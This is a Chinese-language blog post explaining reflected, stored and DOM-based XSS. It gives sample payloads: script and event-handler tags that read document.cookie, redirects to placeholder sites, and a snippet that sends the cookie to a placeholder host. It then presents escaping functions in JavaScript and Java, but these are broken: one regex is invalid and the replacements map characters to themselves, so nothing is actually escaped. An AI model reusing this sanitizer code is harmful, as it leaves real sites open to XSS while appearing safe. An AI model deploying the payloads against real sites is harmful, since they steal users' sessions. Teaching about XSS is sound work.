作为开发者 , 不但要关注产品的业务逻辑 , 更得注重web服务端的安全性 , 随着开发团队的不断在壮大 , 基础类的安全防护都已形成固定的体系有独立的安全人员或部门来制定标准 , 我的安全知识也很弱 , 学习下是必要的 .
大家都会见过,比如: 有个社交网站,有修改昵称的地方,可能本身来修改这个昵称最多只能修改10位,但是可以通过抓包,修改包,重发包这个步骤发现可以将该昵称修改为一个很长的字符串,前提是后端不做检验的话 ,
入门级别的页面攻击很容易防御,最流行的是XSS (Cross Site Scripting)攻击,即跨站脚本攻击,是一种常见于 Web 应用中的计算机安全漏洞。恶意攻击者往 Web 页面里嵌入恶意的客户端脚本,当用户浏览此网页时,脚本就会在用户的浏览器上执行,进而达到攻击者的目的。比如获取用户的 Cookie、导航到恶意网站、携带木马等。之所以读作XSS,是因为人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS .
为了让安全重视起来 , 避免发生损失 , 下面是一些被XSS攻击的知名社交网站(新浪和人人)的被攻击事件
先说下我通过查资料对XSS的基本了解把,首先XSS攻击分3类:
通常网站都会有一些评论或者留言输入框 以及其他一些表单类的数据输入口,输入的数据一般会保存到数据库,或者会直接回显在页面上给用户浏览,如果不对输入数据做过滤,就轻而易举的成为了XSS的攻击入口,举个栗子,下面是一个用户输入数据的输入框,攻击者输入了一些js标签内加执行代码,输入过后把该字符串回显在页面上,代码就这样执行了,而且是每次刷新都会执行.
持久型通常是因为服务器端将用户输入的恶意脚本没有经过验证就存储在数据库中,并且通过每次调用数据库的方式,将数据呈现在浏览器上,当页面被用户打开的时候执行,每当用户打开浏览器,恶意脚本就会执行。持久型的 XSS 攻击相比非持久型的危害性更大,因为每当用户打开页面,恶意脚本都会执行。举个栗子,一个评论功能,把以下数据使用表单输入的方式提交到后台保存到数据库中,其他用户查看评论的时候就会执行这些恶意攻击代码。
<script>alert("在此弹出cookie(document.cookie)")</script>
<img src='w.123' onerror='alert("在此弹出cookie(document.cookie)")'>
<a onclick='alert("在此弹出cookie(document.cookie)")'>点我</a>
<img onclick="window.location.href='http://xxx.社情网站.com'" width='300' src='img/社情图片.jpg'/>
<script>window.location.href="http://xxxx.社情.com"</script>
自动跳转到某站,获取流量,这样的危害就不用说了吧!!
document对象是一个树形结构,通过写js代码来修改节点,对象和值。DOM XSS 简单理解就是它的输出点在DOM,XSS代码可能是插入简单的<script src='域名.com/xxx.js'> ,载入第三方的恶意脚本,这些恶意脚本,通常是读取用户的 cookie信息
var imga = document.createElement("img");
imga.width = 0;
imga.height = 0;
imga.src = "http://xxx:端口?para="+encodeURIComponent(document.cookie);
以上是XSS的三种类型,每种都有不同攻击的效果
被攻击的源头还是用户输入数据没有对其通过对数据解码,再过滤掉危险标签、属性和事件等等,所以防御的原则就是不相信用户输入的数据,对输入进行过滤,对输出进行编码,如:过滤或移除特殊的 html 标签:script、iframe等,过滤 js 事件处理属性:onclick、onerror、onfocus、onload等等.
/**
* 返回处理过后的数据
* @param {string} str:用户输入的内容
*/
function htmlSpecialChars(str) {
str = str.replace(/&/g, '&');
str = str.replace(//g, '>');
str = str.replace(/"/g, '"');
str = str.replace(/'/g, ''');
return str;
}
/**
*
* @param input:用户输入的数据
* @return: 处理过后的数据
*/
public static String filter(String input) {
if (input == null) {
return input;
}
StringBuilder sb = new StringBuilder(input.length());
for (int i = 0, c = input.length(); i < c; i++) {
char ch = input.charAt(i);
switch (ch) {
case '&': sb.append("&");
break;
case '<': sb.append("<");
break;
case '>': sb.append(">");
break;
case '"': sb.append(""");
break;
case '\'': sb.append("'");
break;
case '/': sb.append("/");
break;
default: sb.append(ch);
}
}
return sb.toString();
}